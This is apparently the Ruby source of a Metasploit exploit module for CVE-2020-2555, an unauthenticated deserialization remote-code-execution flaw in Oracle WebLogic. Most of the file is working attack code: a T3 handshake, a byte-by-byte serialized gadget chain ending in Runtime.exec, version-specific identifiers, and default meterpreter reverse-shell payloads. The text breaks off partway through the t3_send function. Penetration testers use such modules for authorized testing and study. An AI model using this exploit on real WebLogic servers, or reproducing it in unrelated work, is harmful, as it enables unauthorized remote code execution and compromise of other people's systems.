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1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::CmdStager
11
  include Msf::Exploit::Powershell
12
  prepend Msf::Exploit::Remote::AutoCheck
13

14
  def initialize(info = {})
15
    super(
16
      update_info(
17
        info,
18
        'Name' => 'WebLogic Server Deserialization RCE - BadAttributeValueExpException',
19
        'Description' => %q{
20
          There exists a Java object deserialization vulnerability
21
          in multiple versions of WebLogic.
22

23
          Unauthenticated remote code execution can be achieved
24
          by sending a serialized BadAttributeValueExpException object
25
          over the T3 protocol to vulnerable WebLogic servers.
26
        },
27
        'License' => MSF_LICENSE,
28
        'Author' => [
29
          'Jang', # Vuln Discovery
30
          'Y4er', # PoC
31
          'Shelby Pace', # Metasploit Module
32
          'Steve Embling' # T3S support
33
        ],
34
        'References' => [
35
          [ 'CVE', '2020-2555' ],
36
          [ 'URL', 'https://www.thezdi.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server' ],
37
          [ 'URL', 'https://github.com/Y4er/CVE-2020-2555' ]
38
        ],
39
        'Platform' => %w[unix linux win],
40
        'Arch' => [ ARCH_X86, ARCH_X64 ],
41
        'Privileged' => false,
42
        'Targets' => [
43
          [
44
            'Windows',
45
            {
46
              'Platform' => 'win',
47
              'Arch' => [ ARCH_X86, ARCH_X64 ],
48
              'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }
49
            }
50
          ],
51
          [
52
            'Unix',
53
            {
54
              'Platform' => %w[unix linux],
55
              'CmdStagerFlavor' => 'printf',
56
              'Arch' => [ ARCH_X86, ARCH_X64 ],
57
              'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
58
            }
59
          ],
60
        ],
61
        'DisclosureDate' => '2020-01-15',
62
        'DefaultTarget' => 0,
63
        'Notes' => {
64
          'Reliability' => [REPEATABLE_SESSION],
65
          'Stability' => [CRASH_SAFE],
66
          'SideEffects' => [IOC_IN_LOGS]
67
        }
68
      )
69
    )
70

71
    register_options([
72
      Opt::RPORT(7001),
73
    ])
74

75
    register_advanced_options([
76
      OptBool.new('FORCE_T3', [false, 'Force T3 protocol even over SSL', false])
77
    ])
78
  end
79

80
  def check
81
    connect
82

83
    web_req = "GET /console/login/LoginForm.jsp HTTP/1.1\nHost: #{peer}\n\n"
84
    sock.put(web_req)
85
    sleep(2)
86
    res = sock.get_once
87

88
    versions = [ Rex::Version.new('12.1.3.0.0'), Rex::Version.new('12.2.1.3.0'), Rex::Version.new('12.2.1.4.0') ]
89

90
    return CheckCode::Unknown('Failed to obtain response from service') unless res
91

92
    /WebLogic\s+Server\s+Version:\s+(?<version>\d+\.\d+\.\d+\.*\d*\.*\d*)/ =~ res
93
    return CheckCode::Unknown('Failed to detect WebLogic') unless version
94

95
    @version_no = Rex::Version.new(version)
96
    print_status("WebLogic version detected: #{@version_no}")
97

98
    return CheckCode::Appears if versions.include?(@version_no)
99

100
    CheckCode::Detected('Version of WebLogic is not vulnerable')
101
  ensure
102
    disconnect
103
  end
104

105
  def exploit
106
    connect
107
    print_status('Sending handshake...')
108
    t3_handshake
109

110
    if target.name == 'Windows'
111
      win_obj = cmd_psh_payload(payload.encoded, payload_instance.arch.first, { remove_comspec: true })
112
      win_obj.prepend('cmd.exe /c ')
113
      win_obj = build_payload_obj(win_obj)
114
      t3_send(win_obj)
115
    else
116
      execute_cmdstager
117
    end
118
  ensure
119
    disconnect
120
  end
121

122
  def t3_handshake
123
    # t3 12.2.1\nAS:255
124
    # \nHL:19\nMS:100000
125
    # 00\n\n
126
    if !datastore['SSL'] || datastore['FORCE_T3']
127
      shake = '7433'
128
    else
129
      shake = '743373'
130
    end
131
    shake << '2031322e322e310a41533a323535'
132
    shake << '0a484c3a31390a4d533a313030303030'
133
    shake << '30300a0a'
134

135
    sock.put([shake].pack('H*'))
136
    sleep(1)
137
    sock.get_once
138
  end
139

140
  # rubocop:disable Metrics/MethodLength
141
  def build_payload_obj(payload_data)
142
    payload_obj = 'aced' # STREAM_MAGIC
143
    payload_obj << '0005' # STREAM_VERSION
144
    payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
145
    payload_obj << '002e' # Class name length: 46
146
    payload_obj << '6a617661782e6d616e61' # Class name: javax.management.BadAttributeValueExpException
147
    payload_obj << '67656d656e742e426164'
148
    payload_obj << '41747472696275746556'
149
    payload_obj << '616c7565457870457863'
150
    payload_obj << '657074696f6e'
151
    payload_obj << 'd4e7daab632d4640' # SerialVersionUID
152
    payload_obj << '020001' # Serialization flag, field num = 1
153
    payload_obj << '4c0003' # Field type code: 4c = Object, field name length: 3
154
    payload_obj << '76616c' # Field name: val
155
    payload_obj << '740012' # String, length: 18
156
    payload_obj << '4c6a6176612f6c616e672f4f626a6563743b' # Ljava/lang/Object;
157
    payload_obj << '7872' # end block data, TC_CLASSDESC
158
    payload_obj << '0013' # Class name length: 19
159
    payload_obj << '6a6176612e6c616e672e' # java.lang.Exception
160
    payload_obj << '457863657074696f6e'
161
    payload_obj << 'd0fd1f3e1a3b1cc4' # SerialVersionUID
162
    payload_obj << '020000' # Serializable, No fields
163
    payload_obj << '7872' # end block data, TC_CLASSDESC
164
    payload_obj << '0013' # Class name length: 19
165
    payload_obj << '6a6176612e6c616e672e' # java.lang.Throwable
166
    payload_obj << '5468726f7761626c65'
167
    payload_obj << 'd5c635273977b8cb' # SerialVersionUID
168
    payload_obj << '030004' # ?, then 4 fields
169
    payload_obj << '4c0005' # Field type: Object, field name length: 5
170
    payload_obj << '6361757365' # Field name: cause
171
    payload_obj << '740015' # String, length: 21
172
    payload_obj << '4c6a6176612f6c616e67' # Ljava/lang/Throwable;
173
    payload_obj << '2f5468726f7761626c653b'
174
    payload_obj << '4c000d' # Field type: Object, field name length: 13
175
    payload_obj << '64657461696c4d657373616765' # Field name: detailMessage
176
    payload_obj << '740012' # String, length: 18
177
    payload_obj << '4c6a6176612f6c616e67' # Ljava/lang/String;
178
    payload_obj << '2f537472696e673b'
179
    payload_obj << '5b000a' # Field type: 5b = array, field name length: 10
180
    payload_obj << '737461636b5472616365' # Field name: stackTrace
181
    payload_obj << '74001e' # String, length: 30
182
    payload_obj << '5b4c6a6176612f6c616e' # [Ljava/lang/StackTraceElement;
183
    payload_obj << '672f537461636b547261'
184
    payload_obj << '6365456c656d656e743b'
185
    payload_obj << '4c0014' # Field type: Object, field name length: 20
186
    payload_obj << '73757070726573736564' # Field name: suppressedExceptions
187
    payload_obj << '457863657074696f6e73'
188
    payload_obj << '740010' # String, length: 16
189
    payload_obj << '4c6a6176612f7574696c' # Ljava/util/List;
190
    payload_obj << '2f4c6973743b'
191
    payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
192
    payload_obj << '71' # TC_REFERENCE
193
    payload_obj << '007e0008' # handle?
194
    payload_obj << '7075' # TC_NULL, TC_ARRAY
195
    payload_obj << '72001e' # TC_CLASSDESC, Class name length: 30
196
    payload_obj << '5b4c6a6176612e6c616e' # [Ljava.lang.StackTraceElement;
197
    payload_obj << '672e537461636b547261'
198
    payload_obj << '6365456c656d656e743b'
199
    payload_obj << '02462a3c3cfd2239' # SerialVersionUID
200
    payload_obj << '020000' # Serializable, No fields
201
    payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
202
    payload_obj << '00000001'
203
    payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
204
    payload_obj << '001b' # Class name length: 27
205
    payload_obj << '6a6176612e6c616e672e' # java.lang.StackTraceElement
206
    payload_obj << '537461636b5472616365'
207
    payload_obj << '456c656d656e74'
208
    payload_obj << '6109c59a2636dd85' # SerialVersionUID
209
    payload_obj << '020004' # Serializable, 4 fields
210
    payload_obj << '49000a' # Field type: 49 = Integer, field name length: 10
211
    payload_obj << '6c696e654e756d626572' # lineNumber
212
    payload_obj << '4c000e' # Field type: Object, field name length: 14
213
    payload_obj << '6465636c6172696e6743'
214
    payload_obj << '6c617373' # declaringClass
215
    payload_obj << '71' # TC_REFERENCE
216
    payload_obj << '007e0005' # handle
217
    payload_obj << '4c0008' # Field type: Object, field name length: 8
218
    payload_obj << '66696c654e616d65' # fileName
219
    payload_obj << '71' # TC_REFERENCE
220
    payload_obj << '007e0005' # handle
221
    payload_obj << '4c000a' # Field type: Object, field name length: 10
222
    payload_obj << '6d6574686f644e616d65' # methodName
223
    payload_obj << '71' # TC_REFERENCE
224
    payload_obj << '007e0005' # handle
225
    payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
226
    payload_obj << '00000028'
227

228
    class_name = Rex::Text.rand_text_alphanumeric(8..14)
229
    formatted_class = class_name.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
230

231
    payload_obj << '74' # String
232
    payload_obj << class_name.length.to_s(16).rjust(4, '0')
233
    payload_obj << formatted_class # Originally Weblogic_2555 -> PoC class name
234
    payload_obj << '74' # String
235
    payload_obj << (class_name.length + 5).to_s(16).rjust(4, '0')
236
    payload_obj << formatted_class # Originally Weblogic_2555.java
237
    payload_obj << '2e6a617661' # .java
238
    payload_obj << '740004' # String, length: 4
239
    payload_obj << '6d61696e' # main
240
    payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
241
    payload_obj << '0026' # Class name length: 38
242
    payload_obj << '6a6176612e7574696c2e' # java.util.Collections$UnmodifiableList
243
    payload_obj << '436f6c6c656374696f6e'
244
    payload_obj << '7324556e6d6f64696669'
245
    payload_obj << '61626c654c697374'
246
    payload_obj << 'fc0f2531b5ec8e10' # SerialVersionUID
247
    payload_obj << '020001' # Serializable, 1 field
248
    payload_obj << '4c0004' # Field type: Object, field name length: 4
249
    payload_obj << '6c697374' # list
250
    payload_obj << '71' # TC_REFERENCE
251
    payload_obj << '007e0007' # handle
252
    payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
253
    payload_obj << '002c' # Class name length: 44
254
    payload_obj << '6a6176612e7574696c2e' # java.util.Collections$UnmodifiableCollection
255
    payload_obj << '436f6c6c656374696f6e'
256
    payload_obj << '7324556e6d6f64696669'
257
    payload_obj << '61626c65436f6c6c6563'
258
    payload_obj << '74696f6e'
259
    payload_obj << '19420080cb5ef71e' # SerialVersionUID
260
    payload_obj << '020001' # Serializable, 1 field
261
    payload_obj << '4c0001' # Field type: Object, field name length: 1
262
    payload_obj << '63' # Field name: c
263
    payload_obj << '740016' # String, length: 22
264
    payload_obj << '4c6a6176612f7574696c' # Ljava/util/Collection;
265
    payload_obj << '2f436f6c6c656374696f'
266
    payload_obj << '6e3b'
267
    payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
268
    payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
269
    payload_obj << '0013' # Class name length: 19
270
    payload_obj << '6a6176612e7574696c2e' # java.util.ArrayList
271
    payload_obj << '41727261794c697374'
272
    payload_obj << '7881d21d99c7619d' # SerialVersionUID
273
    payload_obj << '030001' # ?, 1 field
274
    payload_obj << '490004' # Field type: Integer, field name length: 4
275
    payload_obj << '73697a65' # size
276
    payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
277
    payload_obj << '00000000'
278
    payload_obj << '7704' # TC_BLOCKDATA, length: 4
279
    payload_obj << '00000000'
280
    payload_obj << '7871' # TC_ENDBLOCKDATA, TC_REFERENCE
281
    payload_obj << '007e0015' # handle
282
    payload_obj << '78' # TC_ENDBLOCKDATA
283
    payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
284
    payload_obj << '0024' # Class name length: 36
285
    payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.filter.LimitFilter
286
    payload_obj << '6f6c2e7574696c2e6669'
287
    payload_obj << '6c7465722e4c696d6974'
288
    payload_obj << '46696c746572'
289
    payload_obj << limit_filter_uid # SerialVersionUID
290
    payload_obj << '020006' # Serializable, 6 fields
291
    payload_obj << '49000b' # Field type: Integer, field name length: 11
292
    payload_obj << '6d5f635061676553697a65' # m_cPageSize
293
    payload_obj << '490007' # Field type: Integer, field name length: 7
294
    payload_obj << '6d5f6e50616765' # m_nPage
295
    payload_obj << '4c000c' # Field type: Object, field name length: 12
296
    payload_obj << '6d5f636f6d70617261746f72' # m_comparator
297
    payload_obj << '740016' # String, length: 22
298
    payload_obj << '4c6a6176612f7574696c' # Ljava/util/Comparator;
299
    payload_obj << '2f436f6d70617261746f'
300
    payload_obj << '723b'
301
    payload_obj << '4c0008' # Field type: Object, field name length: 8
302
    payload_obj << '6d5f66696c746572' # m_filter
303
    payload_obj << '74001a' # String, length: 26
304
    payload_obj << '4c636f6d2f74616e676f' # Lcom/tangosol/util/Filter;
305
    payload_obj << '736f6c2f7574696c2f46'
306
    payload_obj << '696c7465723b'
307
    payload_obj << '4c000f' # Field type: Object, field name length: 15
308
    payload_obj << '6d5f6f416e63686f7242' # m_oAnchorBottom
309
    payload_obj << '6f74746f6d'
310
    payload_obj << '71' # TC_REFERENCE
311
    payload_obj << '007e0001' # handle
312
    payload_obj << '4c000c' # Field type: Object, field name length: 12
313
    payload_obj << '6d5f6f416e63686f72546f70' # m_oAnchorTop
314
    payload_obj << '71' # TC_REFERENCE
315
    payload_obj << '007e0001' # handle
316

317
    unless @version_no == Rex::Version.new('12.1.3.0.0')
318
      payload_obj << add_class_desc
319
    end
320

321
    payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
322
    payload_obj << '00000000'
323
    payload_obj << '00000000'
324
    payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
325
    payload_obj << '002c' # Class name length: 44
326
    payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.extractor.ChainedExtractor
327
    payload_obj << '6f6c2e7574696c2e6578'
328
    payload_obj << '74726163746f722e4368'
329
    payload_obj << '61696e65644578747261'
330
    payload_obj << '63746f72'
331
    payload_obj << chained_extractor_uid # SerialVersionUID
332
    payload_obj << '020000' # Serializable, no fields
333
    payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
334
    payload_obj << '0036' # Class name length: 54
335
    payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.extractor.AbstractCompositeExtractor
336
    payload_obj << '6f6c2e7574696c2e6578'
337
    payload_obj << '74726163746f722e4162'
338
    payload_obj << '737472616374436f6d70'
339
    payload_obj << '6f736974654578747261'
340
    payload_obj << '63746f72'
341
    payload_obj << '086b3d8c05690f44' # SerialVersionUID
342
    payload_obj << '020001' # Serializable, 1 field
343
    payload_obj << '5b000c' # Field type: Array, field name length: 12
344
    payload_obj << '6d5f61457874726163746f72' # m_aExtractor
345
    payload_obj << '740023' # String, length: 35
346
    payload_obj << '5b4c636f6d2f74616e67' # [Lcom/tangosol/util/ValueExtractor;
347
    payload_obj << '6f736f6c2f7574696c2f'
348
    payload_obj << '56616c75654578747261'
349
    payload_obj << '63746f723b'
350
    payload_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
351
    payload_obj << '002d' # Class name length: 45
352
    payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.extractor.AbstractExtractor
353
    payload_obj << '6f6c2e7574696c2e6578'
354
    payload_obj << '74726163746f722e4162'
355
    payload_obj << '73747261637445787472'
356
    payload_obj << '6163746f72'
357
    payload_obj << abstract_extractor_uid # SerialVersionUID
358
    payload_obj << '020001' # Serializable, 1 field
359
    payload_obj << '490009' # Field type: Integer, field name length: 9
360
    payload_obj << '6d5f6e546172676574' # m_nTarget
361
    payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
362
    payload_obj << '00000000'
363
    payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC
364
    payload_obj << '0032' # Class name length: 50
365
    payload_obj << '5b4c636f6d2e74616e67' # [Lcom.tangosol.util.extractor.ReflectionExtractor;
366
    payload_obj << '6f736f6c2e7574696c2e'
367
    payload_obj << '657874726163746f722e'
368
    payload_obj << '5265666c656374696f6e'
369
    payload_obj << '457874726163746f723b'
370
    payload_obj << 'dd8b89aed70273ca' # SerialVersionUID
371
    payload_obj << '020000' # Serializable, no fields
372
    payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
373
    payload_obj << '00000003'
374
    payload_obj << '7372' # TC_OBJECT, TC_CLASSDESC
375
    payload_obj << '002f' # Class name length: 47
376
    payload_obj << '636f6d2e74616e676f73' # com.tangosol.util.extractor.ReflectionExtractor
377
    payload_obj << '6f6c2e7574696c2e6578'
378
    payload_obj << '74726163746f722e5265'
379
    payload_obj << '666c656374696f6e4578'
380
    payload_obj << '74726163746f72'
381
    payload_obj << reflection_extractor_uid # SerialVersionUID
382
    payload_obj << '02000' # Serializable, variable fields orig: 020002
383
    payload_obj << reflect_extract_count
384
    payload_obj << '5b0009' # Field type: Array, field name length: 9
385
    payload_obj << '6d5f616f506172616d' # m_aoParam
386
    payload_obj << '740013' # String, length: 19
387
    payload_obj << '5b4c6a6176612f6c616e' # [Ljava/lang/Object;
388
    payload_obj << '672f4f626a6563743b'
389
    payload_obj << add_sect
390
    payload_obj << '4c0009' # Object, length: 9
391
    payload_obj << '6d5f734d6574686f64' # m_sMethod
392
    payload_obj << '71' # TC_REFERENCE
393
    payload_obj << '007e0005' # handle
394
    payload_obj << '7871' # TC_ENDBLOCKDATA, TC_REFERENCE
395
    payload_obj << (change_handle? ? '007e001d' : '007e001e')
396
    payload_obj << '00000000'
397
    payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC
398
    payload_obj << '0013' # Class name length: 19
399
    payload_obj << '5b4c6a6176612e6c616e' # [Ljava.lang.Object;
400
    payload_obj << '672e4f626a6563743b'
401
    payload_obj << '90ce589f1073296c' # SerialVersionUID
402
    payload_obj << '020000' # Serializable, no fields
403
    payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
404
    payload_obj << '00000002'
405
    payload_obj << '74000a' # String, length: 10
406
    payload_obj << '67657452756e74696d65' # getRuntime
407
    payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC
408
    payload_obj << '0012' # Class name length: 18
409
    payload_obj << '5b4c6a6176612e6c616e' # [Ljava.lang.Class;
410
    payload_obj << '672e436c6173733b'
411
    payload_obj << 'ab16d7aecbcd5a99' # SerialVersionUID
412
    payload_obj << '020000' # Serializable, no fields
413
    payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
414
    payload_obj << '00000000'
415
    payload_obj << add_tc_null
416
    payload_obj << '740009' # String, length: 9
417
    payload_obj << '6765744d6574686f64' # getMethod
418
    payload_obj << '7371' # TC_OBJECT, TC_REFERENCE
419
    payload_obj << (change_handle? ? '007e0021' : '007e0022')
420
    payload_obj << '00000000'
421
    payload_obj << '7571' # TC_ARRAY, TC_REFERENCE
422
    payload_obj << (change_handle? ? '007e0024' : '007e0025')
423
    payload_obj << '00000002' # array size: 2
424
    payload_obj << '7075' # TC_NULL, TC_ARRAY
425
    payload_obj << '71' # TC_REFERENCE
426
    payload_obj << (change_handle? ? '007e0024' : '007e0025')
427
    payload_obj << '00000000'
428
    payload_obj << add_tc_null
429
    payload_obj << '740006' # TC_STRING, length: 6
430
    payload_obj << '696e766f6b65' # invoke
431
    payload_obj << '7371' # TC_OBJECT, TC_REFERENCE
432
    payload_obj << (change_handle? ? '007e0021' : '007e0022')
433
    payload_obj << '00000000'
434
    payload_obj << '7571' # TC_ARRAY, TC_REFERENCE
435
    payload_obj << (change_handle? ? '007e0024' : '007e0025')
436
    payload_obj << '00000001'
437
    payload_obj << '7572' # TC_ARRAY, TC_CLASSDESC
438
    payload_obj << '0013' # Class name length: 19
439
    payload_obj << '5b4c6a6176612e6c616e' # [Ljava.lang.String;
440
    payload_obj << '672e537472696e673b'
441
    payload_obj << 'add256e7e91d7b47' # SerialVersionUID
442
    payload_obj << '020000' # Serializable, no fields
443
    payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
444
    payload_obj << '00000003'
445

446
    payload_bin = format_payload(payload_data)
447
    payload_obj << payload_bin
448

449
    # Original data
450
    # ---------------------------
451
    # payload_obj << '740007'                             # String, length: 7
452
    # payload_obj << '2f62696e2f7368'                     # /bin/sh
453
    # payload_obj << '740002'                             # String, length: 2
454
    # payload_obj << '2d63'                               # -c
455
    # payload_obj << '740017'                             # String, length: 23
456
    # payload_obj << '746f756368202f746d70'               # touch /tmp/blah_ze_blah
457
    # payload_obj << '2f626c61685f7a655f62'
458
    # payload_obj << '6c6168'
459
    # ---------------------------
460
    payload_obj << add_tc_null
461

462
    payload_obj << '740004' # String, length: 4
463
    payload_obj << '65786563' # exec
464
    payload_obj << '7070' # TC_NULL, TC_NULL
465
    payload_obj << '7672' # TC_CLASS, TC_CLASSDESC
466
    payload_obj << '0011' # Class name length: 17
467
    payload_obj << '6a6176612e6c616e672e' # java.lang.Runtime
468
    payload_obj << '52756e74696d65'
469
    payload_obj << '00000000000000000000'
470
    payload_obj << '00'
471
    payload_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
472
  end
473
  # rubocop:enable Metrics/MethodLength
474

475
  def change_handle?
476
    @version_no == Rex::Version.new('12.1.3.0.0')
477
  end
478

479
  def limit_filter_uid
480
    case @version_no
481
    when Rex::Version.new('12.1.3.0.0')
482
      '99022596d7b45953'
483
    when Rex::Version.new('12.2.1.3.0')
484
      'ab2901b976c4e271'
485
    else
486
      '954e4590be89865f'
487
    end
488
  end
489

490
  def chained_extractor_uid
491
    case @version_no
492
    when Rex::Version.new('12.1.3.0.0')
493
      '889f81b0945d5b7f'
494
    when Rex::Version.new('12.2.1.3.0')
495
      '06ee10433a4cc4b4'
496
    else
497
      '435b250b72f63db5'
498
    end
499
  end
500

501
  def abstract_extractor_uid
502
    case @version_no
503
    when Rex::Version.new('12.1.3.0.0')
504
      '658195303e723821'
505
    when Rex::Version.new('12.2.1.3.0')
506
      '752289ad4d460138'
507
    else
508
      '9b1be18ed70100e5'
509
    end
510
  end
511

512
  def reflection_extractor_uid
513
    case @version_no
514
    when Rex::Version.new('12.1.3.0.0')
515
      'ee7ae995c02fb4a2'
516
    when Rex::Version.new('12.2.1.3.0')
517
      '87973791b26429dd'
518
    else
519
      '1f62f564b951b614'
520
    end
521
  end
522

523
  def reflect_extract_count
524
    case @version_no
525
    when Rex::Version.new('12.2.1.3.0')
526
      '3'
527
    else
528
      '2'
529
    end
530
  end
531

532
  def add_sect
533
    sect = ''
534

535
    if @version_no == Rex::Version.new('12.2.1.3.0')
536
      sect << '4c0011' # Object, length: 17
537
      sect << '6d5f657874726163746f' # m_extractorCached
538
      sect << '72436163686564'
539
      sect << '71' # TC_REFERENCE
540
      sect << '007e0001' # handle
541
    end
542

543
    sect
544
  end
545

546
  def add_class_desc
547
    class_desc = ''
548
    class_desc << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
549
    class_desc << '0034' # Class name length: 52
550
    class_desc << '636f6d2e74616e676f73' # com.tangosol.util.filter.AbstractQueryRecorderFilter
551
    class_desc << '6f6c2e7574696c2e6669'
552
    class_desc << '6c7465722e4162737472'
553
    class_desc << '61637451756572795265'
554
    class_desc << '636f7264657246696c74'
555
    class_desc << '6572'
556
    class_desc << 'f3b98201f680eb90' # SerialVersionUID
557
    class_desc << '020000' # Serializable, no fields
558
  end
559

560
  def add_tc_null
561
    return '70' if @version_no == Rex::Version.new('12.2.1.3.0')
562

563
    ''
564
  end
565

566
  def t3_send(payload_obj)
567
    print_status('Sending object...')
568

569
    request_obj = '000009f3' # Original packet length
570
    request_obj << '016501' # CMD_IDENTIFY_REQUEST, flags
571
    request_obj << 'ffffffffffffffff'
572
    request_obj << '00000071'
573
    request_obj << '0000ea60'
574
    request_obj << '00000018432ec6'
575
    request_obj << 'a2a63985b5af7d63e643'
576
    request_obj << '83f42a6d92c9e9af0f94'
577
    request_obj << '72027973720078720178'
578
    request_obj << '720278700000000c0000'
579
    request_obj << '00020000000000000000'
580
    request_obj << '00000001007070707070'
581
    request_obj << '700000000c0000000200'
582
    request_obj << '00000000000000000000'
583
    request_obj << '01007006'
584
    request_obj << 'fe010000' # separator
585
    request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION
586
    request_obj << '7372' # TC_OBJECT, TC_CLASSDESC
587
    request_obj << '001d' # Class name length: 29
588
    request_obj << '7765626c6f6769632e72' # weblogic.rjvm.ClassTableEntry
589
    request_obj << '6a766d2e436c61737354'
590
    request_obj << '61626c65456e747279'
591
    request_obj << '2f52658157f4f9ed' # SerialVersionUID
592
    request_obj << '0c0000' # flags?
593
    request_obj << '787072' # TC_ENDBLOCKDATA, TC_NULL, TC_CLASSDESC
594
    request_obj << '0024' # Class name length: 36
595
    request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PackageInfo
596
    request_obj << '6f6d6d6f6e2e696e7465'
597
    request_obj << '726e616c2e5061636b61'
598
    request_obj << '6765496e666f'
599
    request_obj << 'e6f723e7b8ae1ec9' # SerialVersionUID
600
    request_obj << '020009' # Serializable, 9 fields
601
    request_obj << '490005' # Field type: Int, field name length: 5
602
    request_obj << '6d616a6f72' # major
603
    request_obj << '490005' # Field type: Int, field name length: 5
604
    request_obj << '6d696e6f72' # minor
605
    request_obj << '49000b' # Field type: Int, field name length: 11
606
    request_obj << '70617463685570646174' # patchUpdate
607
    request_obj << '65'
608
    request_obj << '49000c' # Field type: Int, field name length: 12
609
    request_obj << '726f6c6c696e67506174' # rollingPatch
610
    request_obj << '6368'
611
    request_obj << '49000b' # Field type: Int, field name length: 11
612
    request_obj << '73657276696365506163' # servicePack
613
    request_obj << '6b'
614
    request_obj << '5a000e' # Field type: Z = Bool, field name length: 14
615
    request_obj << '74656d706f7261727950' # temporaryPatch
616
    request_obj << '61746368'
617
    request_obj << '4c0009' # Field type: Object, field name length: 9
618
    request_obj << '696d706c5469746c65' # implTitle
619
    request_obj << '740012' # String, length: 18
620
    request_obj << '4c6a6176612f6c616e67' # Ljava/lang/String;
621
    request_obj << '2f537472696e673b'
622
    request_obj << '4c000a' # Field type: Object, field name length: 10
623
    request_obj << '696d706c56656e646f72' # implVendor
624
    request_obj << '71007e0003' # TC_REFERENCE, handle
625
    request_obj << '4c000b' # Field type: Object, field name length: 11
626
    request_obj << '696d706c56657273696f6e' # implVersion
627
    request_obj << '71007e0003' # TC_REFERENCE, handle
628
    request_obj << '7870' # TC_ENDBLOCKDATA, TC_NULL
629
    request_obj << '7702' # TC_ENDBLOCKDATA
630
    request_obj << '000078'
631
    request_obj << 'fe010000' # separator
632

633
    request_obj << payload_obj
634

635
    request_obj << 'fe010000' # separator
636
    request_obj << 'aced0005' # STREAM_MAGIC, STREAM_VERSION
637
    request_obj << '7372' # TC_OBJECT, TC_CLASSDESC
638
    request_obj << '001d' # Class name length: 29
639
    request_obj << '7765626c6f6769632e72' # weblogic.rjvm.ClassTableEntry
640
    request_obj << '6a766d2e436c61737354'
641
    request_obj << '61626c65456e747279'
642
    request_obj << '2f52658157f4f9ed' # SerialVersionUID
643
    request_obj << '0c0000'
644
    request_obj << '787072' # TC_ENDBLOCKDATA, TC_NULL, TC_CLASSDESC
645
    request_obj << '0021' # Class name length: 33
646
    request_obj << '7765626c6f6769632e63' # weblogic.common.internal.PeerInfo
647
    request_obj << '6f6d6d6f6e2e696e7465'
648
    request_obj << '726e616c2e5065657249'
649
    request_obj << '6e666f'
650
    request_obj << '585474f39bc908f1' # SerialVersionUID
651
    request_obj << '020007' # Serializable, 7 fields
652
    request_obj << '490005' # Field type: Int, field name length: 5
653
    request_obj << '6d616a6f72' # major
654
    request_obj << '490005' # Field type: Int, field name length: 5
655
    request_obj << '6d696e6f72' # minor
656
    request_obj << '49000b' # Field type: Int, field name length: 11
657
    request_obj << '70617463685570646174' # patchUpdate
658
    request_obj << '65'
659
    request_obj << '49000c' # Field type: Int, field name length: 12
660
    request_obj << '726f6c6c696e67506174' # rollingPatch
661
    request_obj << '6368'
662
    request_obj << '49000b' # Field type: Int, field name length: 11
663
    request_obj << '73657276696365506163' # servicePack
664
    request_obj << '6b'
665
    request_obj << '5a000e' # Field type: Z = Bool, field name length: 14
666
    request_obj << '74656d706f7261727950' # temporaryPatch
667
    request_obj << '61746368'
668
    request_obj << '5b0008' # Field type: Array, field name length: 8
669
    request_obj << '7061636b61676573' # packages
670
    request_obj << '740027' # String, length: 39
671
    request_obj << '5b4c7765626c6f676963' # [Lweblogic/common/internal/PackageInfo;
672
    request_obj << '2f636f6d6d6f6e2f696e'
673
    request_obj << '7465726e616c2f506163'
674
    request_obj << '6b616765496e666f3b'
675
    request_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
676
    request_obj << '0024' # Class name length: 36
677
    request_obj << '7765626c6f6769632e63' # weblogic.common.internal.VersionInfo
678
    request_obj << '6f6d6d6f6e2e696e7465'
679
    request_obj << '726e616c2e5665727369'
680
    request_obj << '6f6e496e666f'
681
    request_obj << '972245516452463e' # SerialVersionUID
682
    request_obj << '020003' # Serializable, 3 fields
683
    request_obj << '5b0008' # Field type: Array, field name length: 8
684
    request_obj << '7061636b61676573' # packages
685
    request_obj << '71007e0003' # TC_REFERENCE, handle
686
    request_obj << '4c000e' # Field type: Object, field name length: 14
687
    request_obj << '72656c65617365566572' # releaseVersion
688
    request_obj << '73696f6e'
689
    request_obj << '740012' # String, length: 18
690
    request_obj << '4c6a6176612f6c616e67' # Ljava/lang/String;
691
    request_obj << '2f537472696e673b'
692
    request_obj << '5b0012' # Field type: Array, field name length: 18
693
    request_obj << '76657273696f6e496e66' # versionInfoAsBytes
694
    request_obj << '6f41734279746573'
695
    request_obj << '740002' # String, length: 2
696
    request_obj << '5b42' # [B
697
    request_obj << '7872' # TC_ENDBLOCKDATA, TC_CLASSDESC
